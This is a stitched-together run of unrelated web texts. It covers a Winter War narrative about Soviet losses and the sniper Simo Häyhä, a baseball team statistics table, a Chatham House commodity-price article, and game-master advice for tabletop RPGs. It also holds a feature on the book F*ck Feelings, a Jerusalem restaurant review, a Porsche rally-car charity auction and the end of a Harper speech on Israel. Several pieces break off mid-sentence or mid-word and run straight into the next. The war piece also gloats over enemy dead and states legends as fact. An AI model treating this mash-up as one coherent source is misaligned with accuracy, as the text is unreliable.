The dead enemy were left to lie frozen in the snow over the lakes, a demoralizing warning to subsequent replacements crossing such a battlefield. With the spring thaw the corpses sank to the bottom to become fish food — saving everyone the trouble of a burial. As the Finnish veteran Antti Olavi Pönkänen stated: "Our lakes are full of dead Russians."
What the hell do you want our country for anyway?
For many of the encircled Soviet troops in the Finnish woods, just staying alive for one more hour or one more day was an ordeal comparable to combat. Frostbitten, desperately hungry, and crusted with their own filth — while the besieging Finns, a mere thousand meters away, might be enjoying a warm sauna bath — for them the Finnish forest was truly a snow-white hell; an existence defined by long dark hours of pain and misery, punctuated by the moans of the wounded and dying.
One captured Soviet colonel when interrogated offered some more details of his long ordeal in the Finnish woods:
Finns we couldn't see anywhere. When we sent our sentries out to take their positions around the camp, we knew that within minutes they would be dead with a bullet hole to the forehead or the throat slashed by a dagger... it was sheer madness... I know that Stalin and Voroshilov are clever, sensible men and I can't understand how they were led to this idiotic war. What do we need cold, dark Finland for anyway?
Hey comrade, can you spare a bullet; it's hard work equalizing these odds
They may not have had nifty toys like mechanized infantry, but at least all the Finnish troops had rifles and bullets — even if they often had to relieve the dead Soviets of some so that there were enough to go around and carry on. Indeed throughout the war the Finns made use of captured Soviet guns, ammunition, and tanks — a classic guerrilla tactic of relying on your enemy to supply you.
Moreover, the Finnish soldiers knew how to use their rifles. One Finn in particular, Corporal Simo Häyhä, became a living legend during and after the Winter War for his exemplary service as a sniper in the Finnish Army. The Red Army respectfully and fearfully nicknamed him the White Death.
During a period of just 90 days in the Winter War, in bone-chilling temperatures ranging from -20 down to -50 degrees centigrade, dressed completely in white camouflage and operating with a very limited amount of daylight per day, Häyhä went out to "hunt Russians" each day. He just in and of himself is credited with 505 confirmed sniper kills of Soviet soldiers, 542 if unconfirmed deaths are included. The unofficial Finnish front line figure from the battlefield of Kollaa places the number of Häyhä's sniper kills at over 800.
He did all this using but a bolt-action rifle with open sights, an almost incredible feat considering that he routinely engaged many of his targets from a distance of 400 meters or more. Besides his numerous sniper kills, Häyhä is also credited with over two hundred kills with a Suomi K31 submachine gun, bringing his confirmed kills to at least 705 — reportedly the all-time highest recorded number of confirmed kills in any major war.
As can readily be imagined, it wouldn't have taken all that many snipers like Häyhä to even out the odds a tad into the Finns' favor. Häyhä himself was such a menace to the invaders that the Soviets tried several ploys to get rid of him specifically, including counter-snipers and outright artillery strikes. One week before the armistice was signed, they finally succeeded.
On March 6, 1940, Häyhä was shot in the face by a Soviet sniper. The bullet tumbled upon impact and left his head explosively, in the process crushing his jaw and blowing off his entire left cheek — the fellow soldiers who later evacuated him described the grave injury succinctly as "half his head was missing". Despite the near-lethal injury, Häyhä still somehow managed the fortitude to pick up his rifle and kill the Soviet who had shot him.
Häyhä regained consciousness the very day that peace was declared. It took him several years to recuperate, but he eventually made a full recovery and, honored as a national hero, lived to the ripe old age of 96.
"A fatalism incomprehensible to a European"
So great were the Soviet casualties in the Finnish offensive that hospitals in Leningrad filled to capacity already early on in the invasion; soon after, kilometer-long lengths of trains wound their way as far as Moscow, windows covered with curtains to hide curious passersby from the hideous sight of the frostbitten, the bleeding, the limbless and the dying.
None of this stopped the inexorable Soviet advance, however. In tune with their grisly collectivist ideology, the life of every individual Soviet soldier truly was considered expendable: there were always more warm bodies available to be thrown into the unforgiving meat grinder that the Finnish theater had become. What mattered mere individuals in the pursuit of power and glory for the state?
With company commanders threatening to shoot anyone who fell back or turned around, some Soviet regiments would link arms and march in a line to clear minefields the Finns had laid out for them; the regiments sang party war songs and advanced with the same steady, suicidal rhythm even as the mines began to explode, ripping holes in their ranks and showering the marchers with limbs and intestines. Field Marshal Mannerheim, struggling to explain the determination on both sides, described the Russian soldiers as possessing "a fatalism incomprehensible to a European."
Thank you, Mr. Churchill, but we need more guns, not words
The Finnish victories made headlines around the world. During the Winter War, the British Prime Minister Winston Churchill waxed poetic in a world-wide radio broadcast:
Only Finland — superb, nay, sublime — in the jaws of peril — Finland shows what free men can do. The service rendered by Finland to mankind is magnificent. They have exposed, for all the world to see, the military incapacity of the Red Army and of the Red Air Force. Many illusions about Soviet Russia have been dispelled in these few fierce weeks of fighting in the Arctic Circle. Everyone can see how Communism rots the soul of a nation; how it makes it abject and hungry in peace, and proves it base and abominable in war. We cannot tell what the fate of Finland may be, but no more |
-0.7 7.8 Reds 0.7 0.9 -0.2 -0.1 0.1 1.4 1 1.3 5.1 Yankees 0.9 1.2 0.1 0.9 -0.4 0 1.5 0.8 5 Padres -0.1 -0.7 1.2 -0.3 1.6 2 1.3 -0.7 4.3 Rangers 0.2 0.3 0.8 0.2 -0.7 0.9 0.7 1.5 3.9 Red Sox -0.6 2 -1.1 1.3 0.1 0.2 0.9 1.1 3.9 Twins 1.1 -0.1 -1.1 0 -0.2 0.9 1 2.2 3.8 Rockies 2.1 0.5 -0.1 0.6 0.6 -0.8 0.2 0.4 3.5 White Sox -1.3 1 1.5 0.9 0.3 -0.6 0.6 0.7 3.1 Giants 0.2 -0.1 -1.1 0.2 0.9 1.6 0.8 0.1 2.6 Phillies 1.4 0.2 -0.2 -0.9 0.6 -0.3 0.8 0.1 1.7 Tigers -0.1 -0.2 -1 2.1 -1 0.3 -0.3 0.8 0.6 Mets 1.9 -0.8 1.4 -1.5 0.1 0.3 0 -1.1 0.3 Cardinals -1.3 0.1 -0.4 0.6 0.1 -0.1 0.5 0.7 0.2 Diamondbacks 0.4 1 -0.3 0 -0.5 1.5 -1.4 -0.6 0.1 Braves -0.8 -0.4 -0.8 0.5 1.1 -0.6 1.1 -0.2 -0.1 Dodgers 0.1 -1.1 0.1 0.5 1.1 -0.9 0.2 -0.1 -0.1 Blue Jays -0.8 2.6 -1.4 -1 0.9 0 0.3 -0.8 -0.2 Marlins -0.4 0 -0.3 0.3 1.3 -0.7 0 -0.4 -0.2 Athletics 0.6 -1.6 1.3 -0.9 -0.4 1 0 -0.3 -0.3 Royals 0.2 -1.3 0.3 1.3 -1.3 -1.2 -1 1.6 -1.4 Brewers 0.7 1.1 -0.6 -2 0 -0.9 -0.4 0.5 -1.6 Cubs 0.1 0.2 -1.3 -1.2 1.4 -0.3 -1.1 0 -2.2 Nationals 0.7 0 0.6 -1.8 -0.4 -0.1 -0.9 -0.4 -2.3 Angels -2 0.2 0.1 -0.1 -0.2 -0.9 0.1 -0.3 -3.1 Astros -0.6 -1.3 0 0.3 0.6 -0.7 -0.8 -1.3 -3.8 Mariners -1.5 -1.5 1.3 -0.7 -1 0.4 -1.3 -2.1 -6.4 Indians -0.8 -0.7 -0.6 0.3 -2.3 -1.4 -1.1 -1.1 -7.7 Orioles -1.1 -0.3 -0.8 -0.1 -2.5 -1.5 -1.8 -0.1 -8.2 Pirates -0.9 -1 -0.2 -1.2 -0.7 -1.3 -2.1 -1.8 -9.2
Well, this turned out to be a surprise. I expected the Rays to do well on the Excite-o-Meter, but certainly not to lead the league. The "excite" scores correlated fairly well with winning, giving an R-squared of 72%, showing that there's a fairly strong relationship between winning and being exciting, but there are other things that factor into it too.
The Rays graded out as above-average in all categories barring home runs and batting average. The category that really sets the Rays apart is stolen bases, simply because so many teams don't even try to steal or have just one player who's a threat on the bases. Every player contributes with the Rays, giving the Rays a whopping 2.8 z-score at stealing, the highest of any team in any category. Probably the most surprising revelation was that the Rays pitching staff as a whole has excellent fastball velocity, which David Price is probably solely responsible for. Overall, it looks like Steve was right: the Rays truly are an exciting team to watch.Pressure on the world's resources is becoming so great the situation could trigger a proliferation of hunger and warfare hugely damaging to the global economy, according to an analysis published today.
With demand for basic commodities such as wheat and copper set to soar over the next 20 years, relatively small shocks to supply risk causing sudden price rises and triggering "overreactions or even militarised responses", says a report by the Chatham House think tank. Global trade is so interconnected that no importer of resources is insulated from the problems of key exporters – a fact of concern to the UK, which imports 40 per cent of its food and a high proportion of the fossil fuels and metals it consumes, the think tank warns.
"Shocks reverberate across supply chains when communities protest in Peru, rainfall levels drop in the American Midwest, or a flood hits Australia – often sending the global resource markets into a tailspin," according to the report, entitled Resources Futures. Chatham House is calling on the world's 30 biggest producers and consumers of resources – including the UK, China and the US – to form a G8-style "coalition of the committed" to tackle the increasing volatility in global commodity prices.
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"As a major importer of resources and an important donor to the developing world the UK can play a very important role in this coalition," Bernice Lee, the report's lead author, said.
The price of the average commodity, including everything from corn and soya to nickel and iron ore, has soared by 147 per cent in real terms since 2000 as fast-growing countries such as China demand ever-more resources, while the global population rises and weather increasingly deviates from traditional patterns.
Compounding the problems, speculators have spotted an opportunity to profit from the resources boom, investing hundreds of billions of dollars in the past decade. This speculation has exacerbated price volatility, which was already on the rise as growing shortages of key materials prompted governments to impose export restrictions, according to Chatham House.
"Volatility of prices is the new normal, hitting both consumers and producers," it warns. "Fluctuating prices will create chaotic chain reactions unless governments and businesses get to grips with a new world order defined by resource politics." Commodity price volatility is likely to prove damaging for the global economy because it increases the risk of producing resources. This deters investment in resource production, further reducing supply and pushing up prices, the report says.
"Confronting volatile prices is effectively an insurance policy for the global economy. Investing in social and environmental improvements in new producer states in the developing world is not charity: it is crucial," the report says.
The "Resources 30" coalition's "first task should be to tackle price shocks", the report says. It should then devise guidelines on the use of export restrictions and push for greater transparency among state-owned resource companies. Food, metal and fuel prices have been nearly four times as volatile since 2005 than they were in the preceding 25 years, according to figures from the International Monetary Fund.
Furthermore, the report warns, the trend is set to accelerate, with global steel demand to soar by 90 per cent by 2030, copper to rise by 60 per cent and gas by 44 per cent.
In the past decade, resource trade has grown by nearly a half in weight terms, as the global use of coal, palm oil and iron ore has grown by between 5 and 10 per cent a year and consumption of oil, copper, wheat and rice has risen by 2 per cent.
The report is based on 12 million "data points" covering 1,200 types of resources in 200 countries.
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Subscribe nowWhile proofreading the final draft of Focal Point I re-read a story I presented about a time when I was a less-than-stellar player. I’d allowed an encounter that went bad for me early on hang over the entire session and I’d resisted any attempt to get back on board no matter how hard the GM and other players tried. Not only did it ruin the session, but it cut the heart out of the campaign and it died a session or two later.
As a GM, I’ve periodically had to deal with a player that, for whatever reason, gets into a funk and starts resisting the adventure. Sometimes they just sit at the table and passively-aggressively resist; other times they act more directly, technically playing in character but taking it to an extreme that they ordinarily wouldn’t go. In any case it can really disrupt the mood of the other players and threaten the campaign.
Over the years I’ve tried various methods to “cool down” the offending player but what I’ve discovered is that, the more I try to engage him or her, the more I only feed the fire. The player really needs to ride out the feeling and re-engage at his or her own pace. One thing that I have definitely learned is that ignoring the player and continuing is usually not a good idea.
Here are some methods that have worked for me in the past.
Reassure the player. I’ve had cases where a couple of bad die rolls at a crucial moment just when the character involved is supposed to be showing off her prowess is enough to send a player into a funk, especially if she thinks that her moment in the spotlight for the session is gone. In such cases, I’ve found that taking a break and explaining that a failed roll doesn’t equal incompetence – offering possible in-game explanations for the failure – usually helps the player recover. Sometimes I’ll even offer a carrot with the failure (e.g. “yes, you failed to convince the security guard to let you pass, but you notice that he seems particularly distracted by someone that’s on monitor 3 while fiddling with a pendant around his neck. Maybe there’s trouble in paradise?”).
. I’ve had cases where a couple of bad die rolls at a crucial moment just when the character involved is supposed to be showing off her prowess is enough to send a player into a funk, especially if she thinks that her moment in the spotlight for the session is gone. In such cases, I’ve found that taking a break and explaining that a failed roll doesn’t equal incompetence – offering possible in-game explanations for the failure – usually helps the player recover. Sometimes I’ll even offer a carrot with the failure (e.g. “yes, you failed to convince the security guard to let you pass, but you notice that he seems particularly distracted by someone that’s on monitor 3 while fiddling with a pendant around his neck. Maybe there’s trouble in paradise?”). Discuss the issue. Sometimes the problem is outside the game. The player just had a fight with her significant other, a family member was just admitted to the hospital, or she’s stressing about her job. Offering a forum to vent may be just what the player needs.
Rewrite the scene. This one is difficult, as it seems to reward bad behavior, but if changing a scene slightly will bring the player back into the game then it may be worth it to salvage the session. In my own case, I was moping because the NPC that was supposed to be hiring our band humiliated my character. Had the GM offered to rewrite that scene it may have diffused the situation.
Remove the player. This may seem a bit extreme but sometimes asking the player to take a break from the table and regroup his thoughts before returning works. You really need to know your players for this one though, as some may take it the wrong way.
End the session. Sometimes “no gaming” really is better than “bad gaming” and if the tea leaves are telling you that you’re in for several hours of hurt then it may be best to write the evening off before things get messy. I’ve found that 9 times out of 10, merely suggesting the end of the session is enough to pull the player out of her funk.
These are some things that have worked for me; how about you? Has a moody player ever destroyed your session/adventure/campaign? Do you have any particularly good techniques for bringing moody players back into the game? Has a technique surprised you with its effectiveness? Have you ever spectacularly failed with a particular technique?Toronto-born, Upper Canada College- and Harvard-educated psychiatrist Dr. Michael Bennett often found himself growing increasingly weary of the nattering — the self-obsessing by his patients, their over-belief in a cure for their problems/feelings/anxieties/behaviour if they only worked harder.
“At some point, I would say, ‘to hell with your feelings,’ ” Bennett says over the phone from his office outside Boston, Mass.
“The abruptness of hearing a psychiatrist who is supposed to be a patient listener, who is supposed to say, ‘Please, tell me more about that,’ and, ‘Oh, that must have been awful,’ instead saying, ‘So, what are you going to do about it?’ … It really got the conversation jumpstarted.”
Bennett is co-author, along with his comedy writer daughter Sarah Bennett, of F*ck Feelings: One Shrink’s Practical Advice for Managing All Life’s Impossible Problems, a profanity-laced takedown of the happiness-oriented self-help movement, its moralizing “one-name healers” (Oprah, Phil and Laura) and books that promise to make us brighter, shinier and happier.
According to the father-daughter duo, the joys of self-betterment are vastly overrated. Negative feelings, they argue, are seeded in our evolution, an adaptive response to warn us of danger and keep us “attached to our tribe.” Instead of trying to be more blissed out, less wrought or angry, they argue, we should assume that we’re going to have negative feelings and develop ways to behave like decent human beings despite them.
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Circa sixth century BC
Siddhartha Gautama of Shakya, who later become known as Buddha, believes the path to happiness starts from understanding suffering. “If one speaks or acts with a pure mind, happiness follows like a shadow.”
460 BC
Socrates is the first known figure in the West to argue happiness is attainable through effort. He also plants the seeds of the inevitable backlash: “The secret of happiness, is not found in seeking more, but in developing the capacity to enjoy less.”
3rd century BC
Aristotle, who believed happiness to be the byproduct of a good life, suggests that “Happiness depends upon ourselves.”
Early 18th century
A view of happiness as synonymous with pleasure, to be pursued, takes hold. Political philosopher Jeremy Bentham declares that “the greatest happiness of the greatest number that is the measure of right and wrong.”
1734
Capturing a spirit of the time, poet Alexander Pope writes, “Oh happiness! our being’s end and aim!”
1776
U.S. Declaration of Independence entrenches the right to “life, liberty and pursuit of happiness.”
Early 20th century
Enlightenment ideals of happiness start applying to children, writes Peter N. Stearns in the Harvard Business Review. An example from a child-rearing manual of the time: “Happiness is as essential as food if a child is to develop into normal manhood or womanhood.”
1926
Birthdays become mandatorily happy, thanks to the new song Happy Birthday.
1943
Abraham Maslow records his now-famous hierarchy of needs, suggesting that when basic needs are taken care of, humans have more capacity for self-actualization — making sense of a postwar boom and corresponding upswing in self-help literature.
1963
Graphic artist Harvey Ross Ball is commissioned to improve morale at an insurance company, and creates the iconic yellow smiley face. He is paid $45 for the illustration.
1998
Martin Seligman, founder of modern “positive psychology” movement, becomes president of American Psychology Association, declaring in a landmark speech that psychologists need to study what makes people happy.
2004
Seligman co-authors a positive counterpoint to the Diagnostic and Statistical Manual of Mental Disorders (DSM) called Character Strengths and Virtues.
2012
The United Nations launches its annual World Happiness Report
2014
One high-profile study, part of a now-massive body of happiness research, suggests the two happiest ages of life are 23 and 69.
2015
An Amazon search for books with “happiness” in the title will return 40,000 hits, including The Happiness Project, The Happiness Mindset, The Happiness Advantage, Happier, The Art of Happiness and the How of Happiness.
2015
F*ck Feelings joins a growing chorus against happiness as be all, end all — arguing that people should spend less time wallowing in happiness deficiencies and instead accept difficult realities.
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Bennett, who frequently swears — in good humour — with his patients, says profanity does away with any notion of “superficial empathy.” It jars people out of their relentless self-examination and self-criticism, helps them accept what they can’t change (about their personality, spouse, kid, feelings or “f–khead boss”) and focus instead on how to deal with their problems.
The Bennetts say they aren’t against happiness — who could be? But their book is part of a rising pushback against the relatively recent psychological model of “positive psychology” and the notion that a perpetually upbeat outlook is entirely possible once we rid our “thought patterns” of all things negative and ugly.
The darker truth, they argue, is that the more we pursue happiness, paradoxically, the unhappier we become. The higher we set up the expectation, the more we beat ourselves up if when we fail to achieve it.
Or as University College London professor of psychology Adrian Furnham put it in an article last year in Psychology Today, “(Happiness) is like soap in the bath. The more you try to grab it, the more cloudy the water: the more difficult it is to find.”
Still, we’re being urged to embrace happiness everywhere we turn. In-store and online book aisles brim with titles offering a guide to the cosmos of contentment, from The Happiness Hypothesis, Raising Happiness, and Hardwiring Happiness, to Gretchen Rubin’s two instalments, The Happiness Project and Happier at Home. Pharrell Williams’ ebullient pop song “Happy” (“Clap along if you feel like happiness is the truth”) was Billboard’s No. 1 song last year. Diet and exercise books suggest that the only way to be really, truly happy is to “build your best-ever body!” while headlines trumpet studies claiming “positivity” and optimism over pessimism leads to healthier, and longer, lifespans.
According to scholar and author Christopher Lane, the “happiness” message wholly underpins the self-help movement, where people who succeed in “not being a victim” become winners, and the less successful, by implication, losers. It’s bleeding into the corporate world, too, with its “happiness initiatives” and “chief happiness officers.” We see it in the upbeat Norman Vincent Peale’s The Power of Positive Thinking (1952), a classic, Lane says, of “Christian self-help” that sold more copies in the U.S. in the first two years of its release than any other book except the Bible and still sells more than 20,000 copies a year.
“Via religion, medicine, self-help and the business world, this thinking now saturates U.S. (and by extension, Canadian) culture,” says Lane, author of Shyness: How Normal Behaviour Became a Sickness. And when we can’t achieve it naturally, increasingly we’re seeking chemical help. Canadians are among the highest consumers of anti-depressants and other mood-altering prescription drugs in the world, with an estimated nine per cent of the adult population in 2011 on antidepressants. Experts worry too many of us are swallowing the pills to deal with normal bouts of misery. It’s like cosmetic pharmacology — using psychoactive drugs to feel “happier” about us.
But a recent spate of books challenge a model of psychology critics say has become massively oversimplified, and one-dimensional. F*ck Feelings is the latest. The authors of The Upside of Your Dark Side, published late last year, argue humans have more to gain by tapping into our full range of emotions, while Barbara Ehrenreich’s earlier Bright-Sided: How the Relentless Promotion of Positive Thinking Has Undermined America, warned against the often manic and reckless optimism pervading North American culture.
The model that encourages the quest for happiness as an ultimate goal “assumes that we can, and should rid ourselves of difficulty, insecurity and pessimism” simply by altering our perspective, says Lane. “It assumes that we’ve little to learn from our darkest moments and that life itself should be as sunny as our relentlessly upbeat outlook.”
Not only is that approach absurdly unrealistic, Lane argues, “it also dramatically worsens self-reproach by making anything less than optimized happiness seem like a strange and peculiar failing on our parts, for which we alone are responsible.”
And it fails to take into account humanity’s darker sides. According to Edmonton native Dr. Frank Farley, horror, not happiness, is the central problem confronting the human race. Farley, a professor of psychology at Temple University in Philadelphia and a past president of the American Psychological Association argues that if psychology believes in a science of the human mind and human behaviour, the emphasis should be on “rolling back the horror that stalks the landscape,” not on feeling happy.
According to the authors of The Upside of Your Dark Side, which is subtitled Why Being Your Whole Self — Not Just Your “Good” Self — Drives Success and Fulfillment, the omnipresent pressure to be happy is “one of the most toxic pieces of advice in modern psychology.”
In Western cultures — particularly North America — positivity reigns, says co-author Dr. Todd Kashdan, a professor of psychology at George Mason University in Fairfax, Va. The message, he says in an interview, is, “If you can just have more positive emotions — be more optimistic, more cheerful — then all these other benefits will come to you: you’ll find your purpose in life, you’ll have more money, you’ll have more friends, you’ll be less likely to be divorced, you’ll have better relationships with your kids.”
But every emotion has an adaptive advantage, and to reject that is to tune out useful information. “Think of all the functional problems that human beings have had to deal with over their evolutionary history,” he says. Self-preservation, being accepted into a tribe, reproducing, fending off romantic rivals — “We have been endowed with anxiety, anger, guilt, jealousy and other negative emotions over the course of evolution to get the best possible outcome in challenging situations when these problems arise.”
Even children understand this now, thanks to Disney Pixar’s latest, Inside Out, which stars five emotions of an 11-year-old girl. Riley is struggling with her family’s move to a new city, and happiness tries her best to win out over the other emotions, particularly sadness — a state to be avoided at all costs. But in the end, (spoiler alert) it’s sadness who saves the day, allowing Riley to be honest about how she is feeling and reconnect with her parents.
It may be a work of animated fiction, but it illustrates a truth, and other emotions are similarly functional. Recent studies have found that angry people are more creative, possibly because anger, in moderate doses, can be energizing and motivating. Envy and resentment, the research suggests, can also increase performance, even more than admiration. It lights a fire under us, Kashdan says.
Still, “There is a not-so-hidden prejudice against negative states, and the consequence of avoiding these states is that you inadvertently stunt your growth, maturity, adventure and meaning and purpose in life.”
Yet still the siren call to be happy, to be better, beckons, and one of the killjoys of a “happy life” is social comparison, Kashdan says. We log on to Facebook and compare ourselves to others without appreciating that what we’re seeing are only the edited “highlight reels” — the good parts, and none of the messy or ugly ones. “For already distressed individuals,” University of Houston researchers reported in April in the Journal of Social and Clinical Psychology, “this distorted view of their friends’ lives may make them feel alone in their internal struggles, which may compound their feelings of loneliness and isolation.” People may think, “My god, my life is so much worse than theirs.”
But Facebook and Instagram are too easy targets, says Kashdan, arguing that social media is simply “an extension of everyday human interaction. What we do on Facebook is not unlike other situations where we are hyper focused on making a particular impression on other people to be more attractive,” he says, even if we’re not consciously aware of it. It’s in the clothes we wear, the phones we buy, the groups we join to “showcase our emotional stability, social status and openness to experience,” even if, inside, we’re a blubbering, neurotic mess.
The more privileged our lives, the more material comforts we’re surrounded by, the more we tend to “psychologize,” says Kashdan — meaning dwell on our feelings and emotions and why we’re not gloriously happy.
“We spend a lot of time thinking about what this distress means, where does it come from? What in my past went wrong that still has residual effects?”
No one doubts the validity of true, psychological dysfunction. Mental illness is undeniable. But our emotional reactions to the smaller pieces of daily tragedies and conflicts are more complex.
And the rumination, the tendency toward self-flagellation is one of the many factors driving the multi-billion-dollar self-help industry, with its motivational speakers and “pseudo-quasi gurus,” as Kashdan describes them, promoting the magical and ever-changing formula to a happier life, a happier relationship.
Kashdan was one of the first converts to the relatively new field of “positive psychology,” a movement born in the 1990s that shifted the focus away from pathologies, disorders and deficits, to happiness, wellbeing and resiliency.
Some, like Frank Farley, point out humanistic psychologists such as Carl Rogers and Abraham Maslow had been “talking essentially positive psychology a long time ago.” Dale Carnegie’s insanely successful How to Win Friends and Influence People has sold more than 16 million copies since it was first published in 1936.
Nonetheless, positive psychology positioned itself as a new field of study focused largely on cultivating the best within people and to enhance our experiences at “love, work and play.”
The emphasis turned to creating “positive” workplaces, “positive” family life and “positive” nations. After decades of Freudian psychoanalysis focusing on neuroses and pathologies, “I think the zeitgeist in psychology was ready for it,” Farley says.
But Kashdan soon grew disenchanted with all this “gung-ho happiology,” fearing it was breeding a kind of “smiling fascism.”
Among his worries: When we’re feeling positive, we tend to be more passive. “When we are happy, we are very superficial in our thinking,” he says. By contrast, “When sombre or sad, we’re more concrete and detail-oriented.” We’re also less gullible.
Positive moods can reduce our motivation levels, research shows. We’re more likely to make errors in judgment. Our memory suffers; we’re less attentive to detail. “But another element of chasing happiness is that difficult and challenging life events are the springboards to higher peaks,” Kashdan says.
Negative feelings, argues renowned psychiatrist Dr. Allen Frances, are part of what makes us fully human.
Frances, who chaired the taskforce that wrote the fourth edition of the Diagnostic and Statistical Manual of Mental Disorders, says the positive psychology field has produced some intriguing science, but the trouble is that it also lends itself to “the self-help, simple-minded, ‘be happy,’ superficial milieu” of pop psychology. Humans aren’t suited for perfect happiness. We’ve evolved to a world that has always presented enormous challenges, he says. Humans are incredibly resilient, and “it would be silly to expect that people remain happy and joyful in the face life’s challenges.”
“The idea that there is this easy path to happiness and we should be following it is both mythical and destructive, and reduces the dignity of those people who do wonderful things in the world who aren’t necessarily happy every minute,” says Frances. “It’s not respectful of the human condition.”
Yet we still face this almost “moral demand” to be happy, and healthy, argue Carl Cederstrom and André Spicer in their new book, The Wellness Syndrome. Happiness, they write, has been positioned as a kind of “gigantic hi-fi that can be turned up, and made louder and richer. All you have to do is put your mind to it.”
Jamie Gruman, chair of the Canadian Positive Psychology Association, gets where the criticism is coming from. He says critics are pushing back against what they perceive “as this ridiculous, naive, simplistic, childish view that life is all lollipops and rainbows.”
But that’s not how the field meant to position itself, says Gruman, an associate professor at the University of Guelph. It’s not all about being positive, he says.
“I think that what they (the authors of F*ck Feelings) are saying is partly true. It’s definitely the case that there are a lot of people who over-think their problems and instead of getting on with life and figuring out strategies to handle the unavoidable difficulties of life, they want to just complain about them,” says Gruman.
But he argues that a “good life” is about balancing the positive with the negative. “All emotions serve a purpose, and trying to run away from the sadness or the anger or despondency that’s part of a normal, healthy existence is to undermine the richness of life.”
Michael and Sarah Bennett, the authors of F*ck Feelings, argue that there is no situation in life that cannot be endured once we stop replaying and obsessing over negative experiences.
Many people have less control over their basic behaviours than they deserve, they write. “Neuroscience seems to show that many emotional and behavioural problems we thought were based on bad parents or trauma are also caused by wiring that isn’t reversible,” they say.
In fact, researchers are increasingly trying to get beyond self-reports of subjective wellbeing (“on a scale of one to 10, how happy are you?’), and are searching instead for an underlying neural basis of happiness. Much of the work is focused on the brain’s “reward centre,” the nucleus accumbens, and a region that drives us to seek out and pursue rewards.
In the meantime, the Bennetts offer easily digestible suggestions on managing negative states or emotions, among them: “Act decently in spite of the way you really feel.” “Get to know your inner asshole so as to reduce the likelihood it becomes outer.”
F*uck Feelings isn’t an indictment of psychotherapy or others in the healing professions, the elder Bennett insists, as much as it is a “push for people to be more aware of the limits of treatment.”
“Work hard to define the limits of what you can’t control,” he says he tells his patients, “and then work hard at taking courage in respecting yourself for doing the best with the rest.”Jerusalem's bustling open-air Mahane Yehuda market offers a dizzying assault on the senses. Vendors compete with screams over the prices of their produce as the smell of spices and fresh fish wafts through the air.
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From old-school vegetable stalls, bakeries and boutique wine and cheese bars to fish and chip or falafel stands and sit-down restaurants of every style and price range, the now gentrified market's dozens of eateries present the widest assortment of culinary options in the city.
Traditional Cooking Spanish kosher food market set to grow jn1.tv With increasing numbers of Jewish tourists, demand rising for Sephardic Jewish cuisine in southern Spain. Spanish kosher food market set to grow
If you are looking for traditional Middle Eastern food, though, the best of the bunch may be Azura – a family-run institution in the Iraqi market famous for its Turkish-inspired delicacies that are slow-cooked to perfection atop kerosene burners.
Now spread across an entire cobblestone courtyard, the eatery offers a taste of old Jerusalem with an array of soups, salads and specialty dishes. But when it comes to Middle Eastern food, one dish will always reign supreme – hummus. Azura's version is creamy, soaked in oil and sprinkled with parsley and warm chickpeas that melt in your mouth.
Of course, there is much more to Azura than hummus. Most of the food is simple, but rich in cultural history that reflects the various ethnic backgrounds that make up modern Jerusalem, including Iraqi, Turkish and Tunisian influences.
Traditional shakshuka (Photo: Yaron Brener)
You'll find your local staples here of shakshuka (eggs poached in a sauce of tomatoes, chili peppers and onions), kubbe soup (with a small pocket of dough stuffed with ground beef and pine nuts), magadra (a hearty mix of rice and lentils, with a sprinkling of browned onions) and thinly-sliced (Israeli) vegetable salad topped with tahini. Those in a more adventurous mood can try the lungs, oxtail or "foot" soup -- as in chicken foot, which would be chicken leg in the US.
Your waiter will probably recommend some of the specials. Kima – a dish of lamb kebab with layers of eggplant, potato and spinach leaves dipped in gravy – is excellent. Azura – a Turkish eggplant filled with chopped beef, pine nuts and a special cinnamon spice blend – that bears the restaurant's name also is a big hit.
The secret to all the dishes is the hours they spend simmering on the stovetop, says manager Shabtai Shrefler.
His father Ezra, whose nickname was "Azura," opened the restaurant in 1952 after emigrating from Turkey. Today, he still makes the occasional appearance, but the food is primarily prepared in the canteen-like kitchen by his nine children.
It's more expensive than your average working-class Israeli diner (a lunch for two, including appetizers, will cost you about $40), but far more reasonable than the gourmet restaurants serving traditional food that have sprouted up in the market in recent years. And it has maintained its old-time feel with simple tables spread across the courtyard within view of the market's trademark overflowing fruit and vegetable stands.
The old men of the neighborhood sit alongside the tables playing backgammon and sipping tea. The old ladies still hang their laundry from the balconies above.
You may need some help finding Azura, but once you head west of the market's main drag, the local merchants should be able to point you though narrow alleyways in the right direction. It's well worth the journey.Rally-built Porsche 911s are, simply put, the best. There is something indescribably delightful about watching a rear-engined Porsche best known for its thoroughbred track and street credentials getting wickedly crossed-up in the dirt at speed.
If that sounds like your kind of awesome, now you can get in on the action—and support a fantastic cause in the process.
Jeff Zwart
The rally-ready 911 you see here started life as a 1985 Carrera with 79,000 miles. That was before Porsche factory driver Patrick Long and his dream team got their hands on it.
Long, Emotion Engineering's Joey Seele, Emory Motorsports' Rod Emory, Benton Performance's John Benton, Deus Ex Machina's Carby Tuckwell, and filmmaker/Pikes Peak champion Jeff Zwart all came together to build a beautiful, subtle, long-travel 911 with vintage style and all the right modern equipment.
Jeff Zwart
It's not just a plaything for Long and company, though. On April 10th, the crew will put this fantastic 911 up for auction to benefit the Autumn Leaves Project, a charity supporting pancreatic cancer research. The auction will take place as part of Luftgekühlt, an L.A.-based annual celebration of air-cooled Porsches hosted by two-time Le Mans winner Long and creative director Howie Idelson.
This excellence will raise a lot of good money for the charity: Sotheby's Los Angeles puts the estimated value of the car at $100,000-150,000, and it's offered with reserve. Interested parties must pre-register with Sotheby's (do so here) before bidding opens on April 10th.
For the rest of us, we can enjoy watching the rally 911 in action.The television anime adaptation of Yuyuko Tak |
. Hamas is a lot closer to Israel than ISIS is to us. Israel is the front line of free democratic nations, and any who turn their back on Israel or turn a blind eye to the nature of Israel’s enemies do so in the long run at their own peril.”
The Jewish Community Council of Montreal, a non-profit organization that was founded in 1922 and is responsible for certification of Kosher products, made the prime minister the first recipient of its King David award. King David of Israel was a central figure in the Old Testament who united Israel and who led victorious battles against the Philistines.
Throughout his speech to hundreds of guests at a dinner in a Montreal hotel banquet hall, Harper drew parallels between Canada and Israel and their enemies, saying that global threats to freedom and democracy may begin by targeting Israel but spread around the world.
“Those who hate democracy and freedom, tolerance and openness having been plotting attacks against Western nations, beginning with Israel, for decades, seeking to destroy our rare and precious way of life,” Harper said.
“We were told for years to just ignore the erosion of freedoms and the growing aggression of Putin’s Russia. Look where that has taken the world.”
He also referred to an “overwhelming trend” in the world to single out Israel “in the most extreme and bizarre ways that is so out of proportion with any reality. Well, friends, we are never going along with that. It is just wrong.”
